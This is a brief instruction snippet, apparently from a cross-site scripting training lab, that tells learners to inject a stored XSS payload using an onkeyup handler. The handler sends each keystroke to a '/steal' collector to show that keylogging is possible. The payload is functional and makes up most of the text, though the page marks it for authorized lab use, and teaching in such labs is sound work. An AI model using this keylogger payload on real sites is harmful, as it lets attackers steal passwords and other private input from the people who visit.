Pop-ups prove execution; keyloggers prove impact. From any stored sink (/stored) inject: <script>onkeyup=e=>fetch('/steal?c='+e.key)</script>, then type here and watch the collector.
RatXSS Dojo · HackXpert Coaching · The XSS Rat · authorized lab use only